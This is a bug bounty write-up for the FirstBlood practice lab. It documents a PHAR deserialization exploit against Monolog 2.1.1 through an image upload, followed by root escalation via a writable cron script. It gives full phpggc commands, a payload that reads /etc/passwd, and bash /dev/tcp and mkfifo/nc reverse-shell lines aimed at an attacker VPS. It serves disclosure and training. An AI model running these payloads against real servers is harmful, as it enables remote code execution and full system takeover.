FirstBlood-#776 — Insecure Deserialization leading to RCE and rooting the server
This issue was discovered on FirstBlood v2
On 2021-10-28, xnl-h4ck3r Level 4 reported:
Summary
There is an insecure deserialization vulnerability in the version of Monolog used on the server. This can lead to system calls being made, and also to RCE and getting root access on the server.
The insecure deserialization vulnerability exists for a few reasons:
- A user is able to upload a file to the server (via
/vaccination-manager/pub/upload-vaccination-proof.php
) that hides a serilaized PHP command. Although the server checks for an image, it doesn't stop you hiding a payload in it.
- The attacker is able to execute the serialized command by using the
/api/checkproof.php?proof=
endpoint, by specifying the phar://
schema. This treats the file as a PHP Archive and deserializes any serilaized command sin it.
- The backend uses a version of Monolog that is vulnerable to deserialization.
I discovered a tool to help with hiding a serialised command into an image: https://github.com/ambionics/phpggc
Through some initial fuzzing, I found the file /composer.json
with the contents:
{
"require": {
"monolog/monolog": "2.1.1"
}
}
Lookign at the tool list of exploits, I was able to see that Monolog 2.1.1 was exploitable:
Steps to Reproduce
There were 3 stages I went through. Firstly I excuted a command on the server to see the reponse, secondly to get a reverse shell on the server, and finally to get root access on the server.
Stage 1 - Showing RCE
- Use the
phpggc
tool to hide a payload in a valid image file in.jpg
that will output the contents of /etc/passwd
:
phpggc -pj in.jpg -o payload.jpg monolog/rce2 system 'cat /etc/passwd'
- Go to
/vaccination-manager/pub/upload-vaccination-proof.php
, enter any email address, click Browse and select the generated paylod.jpg
file.
- Click the Upload button.
- Look in Burp history and see the call made to endpoint
/api/checkproof.php
for the image just uploaded, and send to Repeater.
- Prefix the name of the generated file with
phar://
and send the request. Observe the contents of /etc/passwd
in the response:
Stage 2 - initial access to server
- On a vps, start netcat listening on port 8888:
nc -vlp 8888
- Generate a new payload image with the following command to execute a reverse shell this time, on port 8888:
phpggc -pj in.jpg -o payload.jpg monolog/rce2 system " /bin/bash -c 'bash -i > /dev/tcp/VPS_IP_ADDRESS/8888 0>&'1; "
- Go to
/vaccination-manager/pub/upload-vaccination-proof.php
, enter any email address, click Browse and select the generated paylod.jpg
file.
- Click the Upload button.
- Look in Burp history and see the call made to endpoint
/api/checkproof.php
for the image just uploaded, and send to Repeater.
- Prefix the name of the generated file with
phar://
and send the request. 7. On the vps, observe that a connecton was suucessful, and confirm by typing id
and seeing the current user:
Stage 3 - root the server
With access to the server from stage 2, I looked throgh files and found that /app/firstblood/scheduler.php
wasn't encrytped like the other PHP files.
The contents implied that a cron jon on the server runs shceduler.php
as a root user.
So, to get root access...
- Set up netcat to listen on other port 4444 on another vps session.
- On the existing session fromn stage 2, overwrite the
scheduler.php
file using the command below. If scheduler.php
is executed by cron it shoukd create a reverse shell on port 4444 (I had to use a different shell command to before because the previous one didn't work here for some reason):
echo "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VPS_IP_ADDRESS 4444 >/tmp/f'); ?>" > scheduler.php
- After a minute, the cron job calls the new
scheduler.php
and you will observe a connection being made. Execute the id
command to confirm that you now have root access:
Impact
The impact is obviously critical as the initial insecure deserialization bug enables an attacker to get RCE, but in addition with further issues that the PHP file scheduler.php
is not encrypted and is run by a cron job as root, allows the attacker to root the server.
P1 CRITICAL
Endpoint: /api/checkproof.php
This report contains multiple vulnerabilities:
FirstBlood ID: 34
Vulnerability Type: Deserialization
This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.
FirstBlood ID: 35
Vulnerability Type: RCE
A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.
FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure
It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.